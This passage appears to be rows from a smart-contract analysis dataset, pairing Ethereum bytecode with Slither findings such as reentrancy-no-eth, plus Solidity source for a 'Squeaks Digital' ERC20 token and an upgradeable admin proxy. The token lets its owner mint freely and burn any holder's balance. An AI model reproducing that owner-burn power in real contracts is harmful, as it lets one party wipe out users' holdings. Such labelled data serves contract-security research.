0e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb9160448083019260209291908290030181600087803b15801561060557600080fd5b505af1158015610619573d6000803e3d6000fd5b505050506040513d602081101561062f57600080fd5b5051610679576040805162461bcd60e51b81526020600482015260146024820152731c995b19585cd948199d5b991cc819985a5b195960621b604482015290519081900360640190fd5b600354604080516001600160a01b039092168252602082018390524282820152517f9bd82e051713c4f9fbc39346b2d6901e1c5250f750bb526781f116d15d46f0f29181900360600190a150565b6000546001600160a01b031690565b6003546001600160a01b031690565b600254604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561073f57600080fd5b505af1158015610753573d6000803e3d6000fd5b505050506040513d602081101561076957600080fd5b50516107ae576040805162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107f957600080fd5b505afa15801561080d573d6000803e3d6000fd5b505050506040513d602081101561082357600080fd5b505160065490915061083a57600454600655426007555b600654818161084557fe5b04600581905560075460065460408051938452602084019290925282820152517f809ddd73fba007b10377633695958cc9ab0c34b75ac62ee2926b99a57f4db8299181900360600190a15050565b61089b610c6f565b6000546001600160a01b039081169116146108eb576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b6108f3610554565b600654156109325760405162461bcd60e51b8152600401808060200182810382526030815260200180610ed66030913960400191505060405180910390fd5b6000831180156109425750600081115b61097d5760405162461bcd60e51b8152600401808060200182810382526021815260200180610e956021913960400191505060405180910390fd5b600280546001600160a01b038088166001600160a01b031992831617909255600380549287169290911691909117905560088311610a7957826109c4576001829055610a74565b60018314156109d957603c8202600155610a74565b60028314156109ef57610e108202600155610a74565b6003831415610a0657620151808202600155610a74565b6004831415610a1d5762093a808202600155610a74565b6005831415610a345762278d008202600155610a74565b6006831415610a4c576301dfe2008202600155610a74565b6007831415610a63576277f8808202600155610a74565b6008831415610a745762eff1006001555b610a7f565b60018390555b6004819055600154604080516001600160a01b038089168252871660208201528082019290925260608201839052517f80a4f91a1411c5f4e795a325f8a70cfa7b44e183d7210a793e00a248056638819181900360800190a15050505050565b610ae76106c7565b6001600160a01b0316336001600160a01b0316148015610b075750600654155b80610b1a5750336001600160a01b038216145b610b555760405162461bcd60e51b8152600401808060200182810382526045815260200180610f066045913960600191505060405180910390fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b610b7f610c6f565b6000546001600160a01b03908116911614610bcf576040805162461bcd60e51b81526020600482018190526024820152600080516020610eb6833981519152604482015290519081900360640190fd5b6001600160a01b038116610c145760405162461bcd60e51b8152600401808060200182810382526026815260200180610e4e6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000610cb583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d84565b90505b92915050565b600082610ccd57506000610cb8565b82820282848281610cda57fe5b0414610cb55760405162461bcd60e51b8152600401808060200182810382526021815260200180610e746021913960400191505060405180910390fd5b600082820183811015610cb5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b610d7961037e565b600655600755600855565b60008184841115610e135760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610dd8578181015183820152602001610dc0565b50505050905090810190601f168015610e055780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe546f6b656e54696d656c6f636b3a2063757272656e742074696d65206973206265666f72652072656c656173652074696d654f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7765706f636820706172616d6574657273206d75737420626520706f7369746976654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657263616e6e6f7420696e697469616c697a6520647572696e67206163746976652076657374696e67207363686564756c65546f6b656e54696d656c6f636b3a2063616e6e6f74206368616e67652062656e6566696369617279207768696c6520746f6b656e2062616c616e636520706f736974697665a264697066735822122060f40920a12d91463af1d424026ef86e0a0100202d4072cece16b3b7006d7a1f64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,632 |
0x5d0c9351499d6066a8c8766f84cf581dc44d710e
|
/**
*Submitted for verification at Etherscan.io on 2021-03-01
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-06
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_name = 'Squeaks Digital';
_symbol = 'SQD';
_decimals = 18;
}
/**
* @return the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public virtual override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public virtual override returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: Token-contracts/ERC20.sol
contract SqueaksDigital is
ERC20,
Ownable {
constructor () public
ERC20 () {
_mint(msg.sender,9635214789e18);
}
/**
* @dev Mint new tokens, increasing the total supply and balance of "account"
* Can only be called by the current owner.
*/
function mint(address account, uint256 value) public onlyOwner {
_mint(account, value);
}
/**
* @dev Burns token balance in "account" and decrease totalsupply of token
* Can only be called by the current owner.
*/
function burn(address account, uint256 value) public onlyOwner {
_burn(account, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a61059d565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a6565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610654565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106bf565b6102886106da565b6102c0610787565b604080516001600160a01b039092168252519081900360200190f35b61010d61079b565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107fc565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610863565b6101ae6004803603604081101561035257600080fd5b506001600160a01b0381351690602001356108ac565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108c2565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108ed565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b0383166000908152600160209081526040808320338452909152812054610508908363ffffffff610a0f16565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610537848484610a24565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105bb57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff6109f616565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b61065c610aef565b60055461010090046001600160a01b039081169116146106b1576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610af3565b5050565b6001600160a01b031660009081526020819052604090205490565b6106e2610aef565b60055461010090046001600160a01b03908116911614610737576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b610804610aef565b60055461010090046001600160a01b03908116911614610859576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6106bb8282610b9b565b60006001600160a01b03831661087857600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105ef908363ffffffff610a0f16565b60006108b9338484610a24565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108f5610aef565b60055461010090046001600160a01b0390811691161461094a576040805162461bcd60e51b81526020600482018190526024820152600080516020610c69833981519152604482015290519081900360640190fd5b6001600160a01b03811661098f5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c436026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b600082820183811015610a0857600080fd5b9392505050565b600082821115610a1e57600080fd5b50900390565b6001600160a01b038216610a3757600080fd5b6001600160a01b038316600090815260208190526040902054610a60908263ffffffff610a0f16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a95908263ffffffff6109f616565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610b0657600080fd5b600254610b19908263ffffffff6109f616565b6002556001600160a01b038216600090815260208190526040902054610b45908263ffffffff6109f616565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610bae57600080fd5b600254610bc1908263ffffffff610a0f16565b6002556001600160a01b038216600090815260208190526040902054610bed908263ffffffff610a0f16565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220dca6bcfbb27599e79b3d71710bcabc96765f92771521aecef28f861ccd843cf764736f6c634300060a0033
|
{"success": true, "error": null, "results": {}}
| 8,633 |
0x6de037ef9ad2725eb40118bb1702ebb27e4aeb24
|
/**
*Submitted for verification at Etherscan.io on 2021-03-11
*/
/**
*Submitted for verification at Etherscan.io on 2018-10-22
*/
pragma solidity ^0.4.24;
// File: contracts/upgradeability/Proxy.sol
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: openzeppelin-solidity/contracts/AddressUtils.sol
/**
* Utility library of inline functions on addresses
*/
library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
// File: contracts/upgradeability/UpgradeabilityProxy.sol
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Contract constructor.
* @param _implementation Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _implementation, bytes _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
if(_data.length > 0) {
require(_implementation.delegatecall(_data));
}
}
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) private {
require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: contracts/upgradeability/AdminUpgradeabilityProxy.sol
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is
* validated in the constructor.
*/
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* Contract constructor.
* It sets the `msg.sender` as the proxy administrator.
* @param _implementation address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _implementation, bytes _data) UpgradeabilityProxy(_implementation, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(msg.sender);
}
/**
* @return The address of the proxy admin.
*/
function admin() external view ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external view ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin {
_upgradeTo(newImplementation);
require(newImplementation.delegatecall(data));
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633659cfe6146100775780634f1ef286146100ba5780635c60da1b146101085780638f2839701461015f578063f851a440146101a2575b6100756101f9565b005b34801561008357600080fd5b506100b8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610213565b005b610106600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390505050610268565b005b34801561011457600080fd5b5061011d610305565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016b57600080fd5b506101a0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061035d565b005b3480156101ae57600080fd5b506101b761051b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610201610573565b61021161020c61064e565b61067f565b565b61021b6106a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561025c57610257816106d6565b610265565b6102646101f9565b5b50565b6102706106a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102f7576102ac836106d6565b8273ffffffffffffffffffffffffffffffffffffffff16828260405180838380828437820191505092505050600060405180830381855af491505015156102f257600080fd5b610300565b6102ff6101f9565b5b505050565b600061030f6106a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103515761034a61064e565b905061035a565b6103596101f9565b5b90565b6103656106a5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561050f57600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610463576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001807f43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f81526020017f787920746f20746865207a65726f20616464726573730000000000000000000081525060400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61048c6106a5565b82604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffff